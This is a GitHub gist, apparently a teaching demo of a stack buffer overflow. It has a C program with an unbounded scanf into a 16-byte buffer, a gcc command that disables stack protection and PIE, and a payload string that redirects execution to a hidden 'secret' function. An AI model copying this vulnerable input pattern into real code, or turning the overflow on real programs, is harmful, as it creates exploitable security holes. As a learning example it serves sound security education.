Skip to content

Instantly share code, notes, and snippets.

@Muaath5
Created August 7, 2026 03:25
Show Gist options
  • Select an option

  • Save Muaath5/5fc1b1dcb15907d01ab52cba926e43d1 to your computer and use it in GitHub Desktop.

Select an option

Save Muaath5/5fc1b1dcb15907d01ab52cba926e43d1 to your computer and use it in GitHub Desktop.
Buffer Overflow Example
#include <stdio.h>
void greet() {
char name[16];
scanf("%s", name);
printf("Hello %s!\n", name);
}
void secret() {
printf("Hacked!\n");
}
void main() {
greet();
}
# gcc (Ubuntu 13.3.0-6ubuntu2~24.04.1) 13.3.0
gcc -O0 -fno-stack-protector -no-pie test.c -o test
AAAAAAAAAAAAAAAABBBBBBB�@
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment